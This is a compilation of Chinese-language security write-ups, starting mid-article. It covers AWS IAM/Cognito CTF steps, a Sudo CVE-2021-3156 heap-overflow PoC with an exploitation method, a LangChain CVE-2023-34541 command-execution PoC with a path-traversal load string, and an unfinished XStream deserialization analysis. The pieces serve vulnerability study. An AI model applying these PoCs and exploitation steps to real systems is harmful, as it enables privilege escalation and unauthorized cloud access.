https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础 XStream 简介 XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 使用 XStream 实现序列化与反序列化 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java public interface IPerson {      void output();   } 接着定义 Person 类实现前面的接口: public class Person implements IPerson {      String name;      int age;        public void output() {          System.out.print("Hello, this is " + this.name + ", age " + this.age);     }   } XStream 序列化是调用 XStream.toXML() 来实现的: public class Serialize {      public static void main(String[] args) {          Person p = new Person();          p.age = 6;          p.name = "Drunkbaby";          XStream xstream = new XStream(new DomDriver());          String xml = xstream.toXML(p);          System.out.println(xml);     }   } XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以: Deserialize.java import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.File;   import java.io.FileInputStream;   import java.io.FileNotFoundException;   import java.util.Scanner;     public class Deserialize {      public static void main(String[] args) throws FileNotFoundException {   //       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();          FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xstream = new XStream(new DomDriver());          Person p = (Person) xstream.fromXML(xml);          p.output();     }   } XStream 几个部分 XStream 类图,参考./https://www.jianshu.com/p/387c568faf62: 主要分为四个部分: MarshallingStrategy 编码策略 marshall : object->xml 编码 unmarshall : xml-> object 解码 两个重要的实现类: com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 调用 Mapper 和 Converter 把 XML 转化成 Java 对象 其中的 start 方法开始编组 其中调用了 this.convertAnother(item) 方法 convertAnother 方法的作用是把 XML 转化成 Java 对象。 Mapper 映射器 简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。 Converter 转换器 XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。 转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。 简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。 转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher canConvert 方法:告诉 XStream 对象,它能够转换的对象; marshal 方法:能够将对象转换为 XML 时候的具体操作; unmarshal 方法:能够将 XML 转换为对象时的具体操作; 具体参考:http://x-stream.github.io/converters.html 这里告诉了我们针对各种对象,XStream 都做了哪些支持。 EventHandler 类 EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。 EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。 EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用: public class EventHandler implements InvocationHandler {      private Object target;      private String action;   ...     public Object invoke(final Object proxy, final Method method, final Object[] arguments) {         ...                  return invokeInternal(proxy, method, arguments);         ...     }         private Object invokeInternal(Object proxy, Method method, Object[] arguments) {         ...                                Method targetMethod = Statement.getMethod(                               target.getClass(), action, argTypes);                 ...                  return MethodUtil.invoke(targetMethod, target, newArgs);             }             ...     }     ...   } 这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释: private Object invokeInternal(Object var1, Method var2, Object[] var3) {   //-------------------------------------part1----------------------------------   //作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称          String var4 = var2.getName();          if (var2.getDeclaringClass() == Object.class) {              if (var4.equals("hashCode")) {                  return new Integer(System.identityHashCode(var1));             }                if (var4.equals("equals")) {                  return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;             }                if (var4.equals("toString")) {                  return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());             }         }   //-------------------------------------part2----------------------------------   //貌似获取了一个class和object          if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {              return null;         } else {              Class[] var5 = null;              Object[] var6 = null;              if (this.eventPropertyName == null) {                  var6 = new Object[0];                  var5 = new Class[0];             } else {                  Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());                  var6 = new Object[]{var7};                  var5 = new Class[]{var7 == null ? null : var7.getClass()};             }   //------------------------------------------------------------------------------              try {                  int var12 = this.action.lastIndexOf(46);                  if (var12 != -1) {                      this.target = this.applyGetters(this.target, this.action.substring(0, var12));                      this.action = this.action.substring(var12 + 1);                 }   //--------------------------------------part3----------------------------------------   //var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException                  Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);   //--------------------------------------------------------------------------   //判断var13是否为空,当然不为空啦                  if (var13 == null) {                      var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);                 }                    if (var13 == null) {                      String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];                      throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);                 } else {   //-------------------------------------part4----------------------------------   //调用invoke,调用函数,执行命令           